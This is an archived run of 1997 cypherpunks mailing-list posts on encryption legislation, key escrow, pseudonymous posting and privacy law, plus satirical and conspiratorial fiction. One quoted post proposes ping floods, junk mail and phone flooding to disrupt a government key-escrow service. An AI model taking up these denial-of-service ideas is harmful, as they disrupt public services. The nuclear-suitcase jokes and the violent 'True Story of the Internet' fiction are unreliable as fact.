  will meet law enforcement's needs within our existing system of legal
  authorities and safeguards.

* Oxley-Manton will be ineffective in keeping strong encryption out of the
  hands of criminals.  Criminals and terrorist groups will not use a system
  that gives the government access to their decryption keys.  In fact, the
  FBI has admitted in Congressional testimony that criminals will always
  have access to strong unbreakable encryption.

We urge the Committee to reject the Oxley-Manton amendment and any other
form of domestic encryption control.

Sincerely,

ACL Datacom, Inc., California
American Electronics Association
American Automobile Manufacturers Association
Americans for Tax Reform
America Online, Inc.
Ameritech
ANS Communications, Inc., New York
Apple Computer, Inc.
Ashton Communications Corp., California and Texas
Bell Atlantic
Bell South
Bowles Farming Co., Inc.
Business Software Alliance
Center for Democracy and Technology
Commercial Internet eXchange Association
CommerceNet
Compaq Computer Corp.
CompuServe, Inc.
Computer & Communications Industry Association
Computer Software Industry Association
Consumer Electronic Manufacturers Association
Counsel Connect
Crest Industries, Inc.
DataXchange Network, Inc.
Direct Marketing Association
Electronic Data Systems, Corp.
Electronic Frontier Foundation
Electronic Messaging Association
Epoch Internet
Fiber Network Solutions, Inc., Columbus, Ohio
Genuity Inc., a Bechtel company
IBM Corp.
Information Technology Association of America
Information Technology Industry Council (ITI)
Institute of Electrical and Electronics Engineers - US Activities
International Communications Association
Intuit Inc.
Internet Providers Association of Iowa
Microsoft
National Association of Manufacturers
NETCOM On-Line Communication Services, Inc.
NetINS, Inc., Iowa
Novell
Online Banking Association
National Association of Manufacturers
National Retail Federation
Netscape Communications Corp.
Phoenix Media/Communications Group
Pro-Trade Group
PGP, Inc.
RSA Data Security, Inc.
SBC Communications Inc.
Securities Industry Association
Silicon Valley Software Industry Coalition
Software Forum
Software Publishers Association
Sun Microsystems, Inc.
TheOnRamp Group, Inc., Ohio
Trusted Information Systems
United States Council for International Business
United States Internet Council
United States Telephone Association
U.S. Chamber of Commerce
US West
Voters Telecommunications Watch







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 23 Sep 1997 08:10:55 +0800
To: cypherpunks@toad.com
Subject: Persistent Persona
Message-ID: <199709222358.BAA22180@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 23 Sep 1997 10:42:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The Suitcases have been Successfully Tested
In-Reply-To: <v03102804b04ccfd4600c@[207.167.93.63]>
Message-ID: <Pine.BSF.3.96.970923042838.13495A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Sep 1997, Tim May wrote:

> The United States said then it had detected a seismic event "with explosive
> characteristics" near the Novaya Zemlya test site, but Russian
> officials flatly denied any nuclear tests.
> 
> They said Russia had voluntarily given up testing in 1992 and was sticking
> to this position.

Russia may have indeed given up testing. Seems that Russian's haven't.

This strongly indicates that not only are the suitcases for sale, but the
vendor also provides the /crucial/ combination for unlocking them. This is
really good news for nuclear hedge fund investors.

> I was unable to attend the Demonstration at NZ, but I am now more willing
> to bid for the suitcases than before. They really pack a punch!
> 
> I bid $800,000 for Suitcase Number 57.

That could easily provide a return of 1000% on investment in a matter of
miliseconds.  :-) As always, read the prospectus carefully before you
invest. 

-- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 23 Sep 1997 14:03:43 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Coalition letter opposing Oxley amendment -- from Apple to USWest
In-Reply-To: <v03007802b04cee228c9c@[204.254.22.189]>
Message-ID: <Pine.BSF.3.96.970923073701.13708A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 23 Sep 1997, Declan McCullagh wrote:
> 
> (Then of course there's White's "compromise" language floating around that
> would double these criminal penalties. And Oxley -- in an effort to split
> the coalition -- is circulating draft language that might exempt some forms
> of mundane crypto-devices from his crypto-ban. Who knows? Maybe some
> Congressmen would vote for Oxley II in hopes of staving off Oxley I. But
> all these "compromises" are dangerous.)

Do I understand you correctly in that they are planing to double the
dracoinian 5/10 year proposed penalties to 10/20 years?
 
> Advice to undersigned firms: Tell your lobbyists to block //all//
> encryption legislation that might come out of Congress. Then fire them.
> Spend the millions of dollars on R&D. Get crypto in the hands of the
> grandmothers of America. Or if you're not going to fire your lobbyists, at
> least order them not to try and push a bill through. I know it's difficult;
> that's all they know how to do. But, you see, not only is such a plan
> doomed to fail, it likely will backfire and threaten all of our freedoms in
> the process.

I don't know if I should be happy or sad about Declan's recent tone of
writing. "Forget about working /with/ DC". I certainly never wanted to be
right. There was a time Declan at least hoped that /some/ good might come
out of DC. It doesn't seem he thinks this anymore.

Hell, Declan almost sounds like Tim a year ago. Will he contribute to the
suitcase fund a year from now?

BTW, sponsors wishing to remain anonymous have raised the pot to $820,000.
This is by far the highest I have ever seen it.

 -- Lucky Green <shamrock@cypherpunks.to> PGP encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Wed, 24 Sep 1997 01:21:35 +0800
To: "'Cryptography'" <coderpunks@toad.com>
Subject: Elliptic Curve library for visual basic
Message-ID: <199709231707.KAA12788@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



Re release:

http://www.jim.com/jamesd/tools.htm


An OLE extension to visual basic, written in C++,
providing elliptic curve cryptographic operations, SHA1 
and big true random numbers to visual basic

I have re released the cryptographic extension to Visual Basic 

This release is thoroughly tested, and I have therefore raised
the version number from beta to 1.0

I have added visual basic program that tests and demonstrates the 
KongTools functions to the release.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 23 Sep 1997 23:21:30 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Coalition letter opposing Oxley amendment -- from Apple toUSWest
In-Reply-To: <v03007802b04cee228c9c@[204.254.22.189]>
Message-ID: <v03007806b04d79e877c9@[204.254.22.189]>
MIME-Version: 1.0
Content-Type: text/plain



At 07:52 -0700 9/23/97, Lucky Green wrote:
>Do I understand you correctly in that they are planing to double the
>dracoinian 5/10 year proposed penalties to 10/20 years?

That's correct. That White draft was circulated last week at a crypto
coalition meeting that dozens of businesses, lobbyists, and advocacy groups
attended. Sadly, I'm told that only the ACLU, Americans for Tax Reform, and
(to a similar extent though they were most concened with Bernstein) EFF
argued for a hardnosed "no compromise" position.

(EPIC would probably have taken the same position, but they were out of
town. Eagle Forum also says "no compromise," but they weren't at the
meeting.)

I spoke to an industry lobbyist yesterday about crypto-in-a-crime. "We
don't oppose what the ACLU is doing in trying to get it removed," the
lobbyist told me. But this isn't a make-or-break issue for you, is it? "No,
it isn't." In other words, they're more than happy to give it up as a
trading chit if they can get cash in on relaxed export controls.

>I don't know if I should be happy or sad about Declan's recent tone of
>writing. "Forget about working /with/ DC". I certainly never wanted to be
>right. There was a time Declan at least hoped that /some/ good might come
>out of DC. It doesn't seem he thinks this anymore.

I certainly believe there are some duties a federal government should
fulfill. On Net-issues, the federal government can do some good by either
reversing bad policies or adopting a stance of regulatory forbearance.

On copyright, the courts should decide the limits of ISP liability. On
crypto, too, the courts are the safest route. On Net-taxes, though, there's
a role for Congress to play in considering Cox-Wyden. On telecom, the best
way to get bandwidth to the home is by aggressive deregulation, which means
more fixes to the just-amended Telecom Act. On content, Congress should of
course do nothing except perhaps repeal some of the more censorhappy laws
around. Same with Net-gambling.

All in all, these issues require minimal action or no action. Especially on
encryption: this Congress will never take a pro-crypto approach. The law
enforcement lobbyists are simply too strong and too effective. No new laws
are better than bad new laws.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Acosta <jacosta@americasttv.com>
Date: Wed, 24 Sep 1997 01:39:36 +0800
To: cypherpunks@toad.com
Subject: Baby Bells Join In Fighting US Encryption Control
Message-ID: <3.0.32.19970923102250.00807e20@pop.americasttv.com>
MIME-Version: 1.0
Content-Type: text/plain





>From 

<http://www.yahoo.com/headlines/970923/tech/stories/encrypt_2.html>



                                 [ Yahoo | Write Us | Search | Info ] 

               [ Index | News | World | Biz | Tech | Politic | Sport |
Scoreboard | Entertain | Health ] 

                                    [ Reuters | Wired | ZDNet ]



Tuesday September 23 10:04 AM EDT 

Baby Bells Join In Fighting US Encryption Control

By Aaron Pressman 

WASHINGTON - Five of the influential "Baby Bell" regional telephone
companies on Monday joined a coalition urging Congress to reject
a proposal that would give U.S. law enforcement agencies access to
otherwise secure computer files. 

The phone companies, along with dozens of high-tech companies and business
groups, signed a letter opposing proposed limits on
encryption technology used to protect computer files from outside access or
interference. Louis Freeh, director of the Federal Bureau of
Investigation, has urged Congress to enact the limits. 

The Baby Bells and other opponents of encryption limits sent their letter
to U.S. Rep. Thomas Bliley, Republican of Virginia, chairman of
the House Commerce Committee. 

Later this week, the committee is expected to consider an encryption bill
authored by Rep. Bob Goodlatte, a Virginia Republican.
Prompted by Freeh, the committee is currently leaning toward amending
Goodlatte's encryption bill to impose new limits. 

Five Baby Bells -- Ameritech, Bell Atlantic Corp., BellSouth Corp. , SBC
Communications and US West -- signed the letter opposing the
restrictions. 

Other groups signing the letter ranged across the political spectrum from
civil libertarians at the Center for Democracy and Technology
(CDT) to conservatives at Americans for Tax Reform. 

This would be a direct hit at the telecommunications infrastructure," said
CDT executive director Jerry Berman who helped organize
Monday's letter. It's an unmitigated disaster. " 

The letter was also signed by International Business Machines, which had
previously been seen as one of the few companies not openly
opposing the Clinton administration's policy restricting encryption
exports. But the domestic limits being considered by the Commerce
Committee would go well beyond current policy. 

Encryption products, which scramble information and render it unreadable
without a password or software key," are increasingly being
used to secure communications and electronic commerce over the Internet. 

But the FBI and other law enforcement agencies argue that encryption will
also be used by criminals and terrorists to thwart wiretaps and
police surveillance. 

The amendment being considered by the committee would require all
encryption products sold in the United States to include a back door"
allowing the government to crack any message covertly. 

[ SNIP for FAIR USE ]




 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 24 Sep 1997 03:19:15 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: distributed ratings & repudiable public signatures (was Re:encouraging digital pseudonyms)
In-Reply-To: <v03102805b04c51cb80d0@[207.167.93.63]>
Message-ID: <v03102804b04dc1c325e8@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 11:30 AM -0700 9/23/97, Adam Back wrote:
>Easier to use pseudonyms would be nice, yes.
>
>Another interesting "service" which really requires client support,
>which would improve reading efficiency would be mailing list software
>with distributed ratings.  A web based archive with cgi-bins to
>accumulate ratings on posts would be feasible for you people who don't
>have pay per second.
>
>Then you construct your own matrix of reliance on individual rating
>providors (other list readers), and you have probably a pretty good
>estimate of your own likely interest in a given post.

I'll argue STRONGLY for the first item, the one Igor Chudov says he has
already implemented (I plan to take a look). And I'll argue STRONGLY
AGAINST the second item, the ratings idea.

Why? Because I've seen at least several major efforts, and even some
functional versions, namely, on the Extropians list. They viewed this as a
major tool for increasing the quality of discussions. It wasn't.

(The "Firefly" system, if I recall correctly, does this for music. Similar
problems. Sparseness and all sorts of basic ontological problems with such
ratings.)

I am obviously not saying others might not pull it off this time, and
obviously they're welcome to try. But few of us want to spend time rating
the posts of others, or even clicking a button (where? our Eudora mailers?
sending messages back to the ratings service? arggh.) to rate the posts and
reputations of others.

My best filter is deciding who to filter into my trash folders. And
learning to delete posts in a few seconds of glancing.

Your mileage may vary, but I'm willing to bet this is not a truly important
project.

- --Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



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Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCgTe1K3AvrfAt9qEQLpBQCgrzGsy3sIXPJgITQfhdgFbKk/o8oAoLFL
aRDmrnqSYYFzalaubVbVmT5d
=xLXM
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 23 Sep 1997 18:48:27 +0800
To: ichudov@Algebra.COM
Subject: Re: MatchPseudonym Technology / Re: encouraging digital pseudonyms
Message-ID: <199709231037.MAA05964@xs2.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain




Igor wrote:
>
> That cypherpunk project came to fruition a year and a half ago.


Kudos!


You are the greatest!  I look forward to spreading and 
evolution of your software.


Regards,

Zooko





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Wed, 24 Sep 1997 04:09:32 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: STUMP (Was: encouraging digital pseudonyms)
In-Reply-To: <199709230329.WAA22595@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970923123531.8677A-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Sep 1997, Igor Chudov @ home wrote:

> My moderation bot STUMP, available for free download at my Web Site
> http://www.algebra.com/~ichudov, actively supports pseudonymous posters
> who identify themselves with PGP.

It looks pretty good, but the description only says USENET. Can it also be
used on mailing-lists? If so, can someone who have the resources please
run it on the cypherpunks list (just the pseudonym feature please, not the
moderation)? 

> STUMP rewrites the From: field for pseudonymous letters, substituting
> the From: field to the user ID in the PGP key.

I suggest also putting the PGP key fingerprint into the From: field,
because the user ID can be forged, making it less useful for filtering
purposes.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Wed, 24 Sep 1997 02:12:31 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <Pine.GSO.3.95.970922083146.16192A-100000@well.com>
Message-ID: <97Sep23.140119edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 22 Sep 1997, Declan McCullagh wrote:

> On Mon, 22 Sep 1997, Will Rodger wrote, quoting me:
> 
> > >I spent the weekend in West Virginia, where folks are more than 
> > happy to
> > >gossip with (and about) their neighbors. Nobody would try to shut 
> > them up
> > >through force of law. This principle does not disappear when the
> > >information being shared is digital.
> 
> > That's a bold assertion, but not one that squares easily with the 
> > half-dozen or so privacy laws already on the books at the federal 
> > level.
> 
> Which law, specifically, would gossiping with (or about) your neighbors
> violate?

Slander.

Were I to maliciously spread a rumor, and you got fired, or suffered
economic loss because of my gossip, you could sue me.

> And yes, some of the "half-dozen or so privacy laws already on the books"
> are misguided. Just as many argue laws against drugs, gambling, or
> FCC rules prohibiting the broadcast of "indecent" material are also
> unconstitutional -- and a waste of our police's time.

True, but there is also a large body of law that is civil instead of
criminal.  While we are on social policy, police also enforce
environmental laws which take property and affirmative action which
violate all kinds of freedom of association.

I can be damaged by information - which may be either wrong or out of
context.  Should I have no right to recover or correct such things?  If no
one had the right to the information in the first place (is personal
information part of my personal property?), do I have any rights if it is
both true and damaging (e.g. a felon with an expunged conviction - they
can legally answer "no" if asked if ever convicted of a felony, but the
historical record may show something different).

When we talk about reputation capital, it becomes something that can be
vandalized or stolen.  Were any other form of capital stolen or
vandalized, I could go for damages.

> I don't think the issue is whether or not individuals should "care" about
> others talking about them behind their back. I think the question is how
> to address it: through the force of law or not. I may not want to shut up
> the Net-Nazis through the force of law (I would argue against it), but I
> would certainly "care" what they say and speak out against it myself. 
> 
> Not all wrongs can be solved through the law.

And the converse, just because there is no law (or in the VPs words: "no
controlling legal authority") does not mean it is not a wrong.

virtue destroys vice, and truth destroys error.  What there is no solution
for is ignorance and apathy, and laws will neither inform people or get
them to take action.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Avi Rubin <rubin@research.att.com>
Date: Wed, 24 Sep 1997 02:43:03 +0800
To: crowds-talk@research.att.com
Subject: Mail archive now available for Crowds mailing list
Message-ID: <199709231823.OAA12512@mgoblue.research.att.com>
MIME-Version: 1.0
Content-Type: text/plain



There is now a hypertext archive of the crowds-talk mailing list
at http://www.research.att.com/projects/crowds/archive/

It will be updated regularly.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Wed, 24 Sep 1997 04:27:53 +0800
To: weidai@eskimo.com
Subject: Re: STUMP (Was: encouraging digital pseudonyms)
In-Reply-To: <Pine.SUN.3.96.970923123531.8677A-100000@eskimo.com>
Message-ID: <199709232006.PAA30869@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Wei Dai wrote:
> 
> On Mon, 22 Sep 1997, Igor Chudov @ home wrote:
> 
> > My moderation bot STUMP, available for free download at my Web Site
> > http://www.algebra.com/~ichudov, actively supports pseudonymous posters
> > who identify themselves with PGP.
> 
> It looks pretty good, but the description only says USENET. Can it also be
> used on mailing-lists? 

Yes, it can. Just replace the definition of RNEWS to the call to
resend script.

> If so, can someone who have the resources please
> run it on the cypherpunks list (just the pseudonym feature please, not the
> moderation)? 

I think that people are very leery of using anything with word 
"moderation" in it in cypherpunks mailing lists.

> > STUMP rewrites the From: field for pseudonymous letters, substituting
> > the From: field to the user ID in the PGP key.
> 
> I suggest also putting the PGP key fingerprint into the From: field,
> because the user ID can be forged, making it less useful for filtering
> purposes.

Mmmm, that's not a bad idea. I will think about it and
maybe put it in.

> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 24 Sep 1997 04:19:13 +0800
To: cypherpunks@toad.com
Subject: IntraLoan
Message-ID: <v0311071cb04dce623947@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: ahernlj@swift.alaska.net
Mime-Version: 1.0
Date: Tue, 23 Sep 1997 11:28:03 -0900
To: dcsb@ai.mit.edu
From: lance ahern <ahernlj@alaska.net>
Subject: IntraLoan
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: lance ahern <ahernlj@alaska.net>

A new service lets parties communicate online via
encrypted, digitally notarized documents posted on a
secure site.

http://www.techweb.com/wire/news/1997/09/0922bank.html

nothing special, just a working service...

<> <> <> <> <> <> <> <> <> <> <> <> <>
Lance J. Ahern    Internet Alaska, Inc.
ahernlj@alaska.net        907-562-4638
unlimited - ppp - 33.6K - $19.50/month



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 24 Sep 1997 04:21:41 +0800
To: nospam-seesignature@ceddec.com
Subject: Re: "Matchcode" technology sparks privacy flames.....
In-Reply-To: <Pine.GSO.3.95.970922083146.16192A-100000@well.com>
Message-ID: <v03007803b04dd0d3f10b@[204.254.22.189]>
MIME-Version: 1.0
Content-Type: text/plain



At 14:02 -0400 9/23/97, nospam-seesignature@ceddec.com wrote:
>> Which law, specifically, would gossiping with (or about) your neighbors
>> violate?
>
>Slander.
>
>Were I to maliciously spread a rumor, and you got fired, or suffered
>economic loss because of my gossip, you could sue me.

Not quite. Truth is an absolute defense against slander and libel. If the
gossip is true, which was my hypothetical, what's the cause of action?

>I can be damaged by information - which may be either wrong or out of
>context.  Should I have no right to recover or correct such things?  If no\

No, you should have no right to "recover" what I know about you. This is a
common beginner's misunderstanding. What you seem to be arguing for is
property rights in information. But that is misguided. To grant you such a
right would be to let you muzzle others who say truthful things, violating
their free speech rights.

That is why many "privacy laws" are censorship in disguise.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Wed, 24 Sep 1997 04:15:59 +0800
To: "CypherPunks List" <cypherpunks@Algebra.COM>
Subject: SAFE Bill and CongressCritter Staffs
Message-ID: <199709232006.QAA29633@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

>1. Pick up the phone and call as many of the four
>   leading members of the Commerce committee as you can:
>
>     Chairman Thomas Bliley (R-VA)         (202) 225-2815
>     Ranking member John Dingell (D-MI)   (202) 225-4071
>     Rep. Tauzin (R-LA)                    (202) 225-4031
>     Rep. Markey (D-MA)                    (202) 225-2836
>
>2. Ask for the staffer that handles the encryption issue.

I called Bliley and Dingell, their offices are saying there is no
dedicated 'staffer' on encryption, that its all being handled by
Commerce Committee staff, both offices forwarded my call to the same
Commerce staff person. The staff person says that right now there are
no amendments formally being considered. That Oxley/Manton is just
talk for the moment. Anyway I spoke my piece and said I encouraged the
congressman to resist any amendments to HR695. He thanked me and said
goodbye.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNCggQsdZgC62U/gIEQL7uACeKZeTN50JoiIO7WKhRbFPVWrjFV8AnAi1
XyP8wXVHO0MMAGakzq5Sg39l
=d4wo
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "Darkness cannot drive out darkness, only light can do that. Hate
  cannot drive out hate; only love can do that. -- Martin Luther King Jr.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 24 Sep 1997 06:00:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The great GAK crack (making GAK economically impossible) (fwd)
Message-ID: <199709232203.RAA20128@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 23 Sep 1997 17:36:01 -0400 (EDT)
> From: Ray Arachelian <sunder@brainlink.com>
> Subject: Re: The great GAK crack (making GAK economically impossible)

> That all depends on how they are set up to accept such key requests.  Fer
> instance, say they set up a nice litte web site that takes in credit
> cards... can we say ping flood boys and girls?

Can you say 'trace'?

> Suppose they set up a mail in system where you have to mail letters to
> them.  We simply go through every magazine we find and send subscribtion
> requests to that address.  As most mags will happily send a free issue
> this will do wonders...  Send them to "Joe Smith, Care Of Key Escrow..."

Can you say 'mail fraud'?

> If they set up a phone line, we call the phone line and keep it busy...

Can you say 'phone trace'?

> If they set up a system whereby mistakes have to be refiled, then we
> simply all march down there and demand that we get our keys registered and
> we always make mistakes in something or other, or we forget our ID's.

This works if it happens to be in the current location of an individual,
seems pretty unworkable considering the geographic distribution of cpunks.

> Denial of service attacks are always possible somehow or other...  It's a
> question of what we're willing to donate to the effort.

Provided you can pay the bill to keep it going AND you use some form of
anonymity (which I doubt you could hold up for long).


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 23 Sep 1997 23:31:01 +0800
To: cypherpunks@toad.com
Subject: InfoWar 20 / Text Version of "The True Story of the Internet" Part 3
Message-ID: <199709231515.RAA26501@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Prelude to the Past

----------------------------------------------------------------------------

                                Chapter Title
----------------------------------------------------------------------------

"Did you notice the way 'Mojave' was misspelled?" the Shadow asked the
Rich
Man.

Bad BillyG nodded slowly, looked up at the Shadow and said, "I also
noticed
that he used the 'replay' remailer and spoke of 'deja vu.'"

"Indio?" the Shadow asked Bad BillyG, not having to wait for his
confirmation to know that the anonymous writer was referring to the
Wackenhut/Cabazon weapons fencing operation.

"I've got someone checking the physical site as we speak," BillyG told
the
Shadow, "but I think it's obvious that the references to Lefty and the
tassel-haired young woman firing a shotgun with one hand means that
these
people recreated an event that happened over a decade and a half ago,
only..."

Bad BillyG paused to swallow, "...only this time, the targets are us, not
them."

The Shadow and his earthly compatriot turned their attention to the
anonymous post, once again, confirming what they already knew, and
scanning
for more details of the writers veiled message, therein.

Subject: Not-News Gorilla NutWork Rocket-Launched
From: nobody@REPLAY.COM (Anonymous)
Organization: Replay and Company UnLimited
To: cypherpunks@toad.com

[Not-News NetWork-- Mohave Desert] Aug 4/97

WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE? -
sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert
early yesterday morning by a rag-tag bunch of paramilitarist computer
gurus who unveiled an InterNet Bill of Bytes that included the words,
"MicroSoft shall make no laws..."

Angered by a self-appointed council of computer industry magnates who
have announced their intention to seize fascist control of the quickly
burgeoning Information Highway by controlling the definition of all
information, the rebels set up a shooting range which contained a wide
variety of targets ranging from copies of the Wall Street Journal to
life-sized cardboard cut-outs of a hooded figure referred to only as,
"a billionaire to be named later."

A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"
after a laboratory accident took three of the fingers on his right
hand) spoke openly about the group's loose-knit plans to impose their
own ratings system on corporations who have "taken it upon themselves
to decide what is news and what is not--what is information and what
is obscenity."

"We have decided on two classes of ratings." explained a tassel-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and off."

The wide array of luxury automobiles and high-end computer gear on
display at the gathering lent credence to the claim of a quiet older
man whose only comment during my presence was, "The people here
probably have a combined access to more soft targets than the NSA."
He turned to punctuate his statement, as many others did that day,
with a volley of fire that penetrated targets carrying the corporate
logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues
surrounding privacy, self-determination and freedom from censorship,
with hardly a word being spoken about potential plans of action by
individuals or the group. As the quiet man's equally quiet wife
spoke in what seemed to be a deathly whisper, telling me, "Everyone
here knows what they have to do.", a man with a crude, homemade
rocket-launcher sent a flaming projectile into the side of a small
propane tank several hundred feet away, as if punctuating the last
and most meaningful statement of the day.

After quietly dispersing a few minutes later, the group packed up
their weapons and climbed into their vehicles without a word between
them, each seemingly going their own separate ways.

I stayed on after the last of the others had left, reflecting on the
fact that I had arrived at this gathering by virtue of a late-night
phone call to my unlisted number, and found that I knew none of the
participants in the activities.

I had the strangest feeling that the others there had arrived by the
same anonymous process as I had, and I wondered if they were equally
mystified as to who had arranged this impromptu assembly of apparent
strangers joined in a common cause. Immediately, one of the pickup
trucks driving away backfired, and I thought of synchronicity, knowing
that the truck would backfire once again, which it immediately did,
before disappearing quietly out of sight.

Climbing into my own vehicle, I took a last look at the site, which
had been cleaned and left exactly the way it was when I had first
arrived on the scene. I experienced a moment of deja vu, as if I had
just arrived and none of what I had experienced that day had truly
transpired.

Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer - I am not a reporter, I am not a paramilitarist, and I am
not a computer expert. I have no idea what I was doing there and I am
not even certain that I should be speaking about the event...but I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
----------------------------------------------------------------------------

A Player To Be Named Later put down the 'Not-News Gorilla NutWork
Rocket-Launched' post and scanned portions of the INSLAW/Octopus report
from
NaziWorld, once again.

The INSLAW Octopus
Software piracy, conspiracy, cover-up, stonewalling, covert action: Just
another decade at the Department of Justice
By Richard L. Fricker
...
But prior to his arrest in 1991, Riconosciuto provided the Hamiltons
with an
affidavit that once again brought Brian into the Inslaw picture. "I
engaged
in some software development and modification work in 1983 and 1984 on
proprietary PROMIS computer software product," he stated. "The copy of
PROMIS on which I worked came from the US Department of Justice. Earl W.
Brian made it available to me through Wackenhut (a security company with
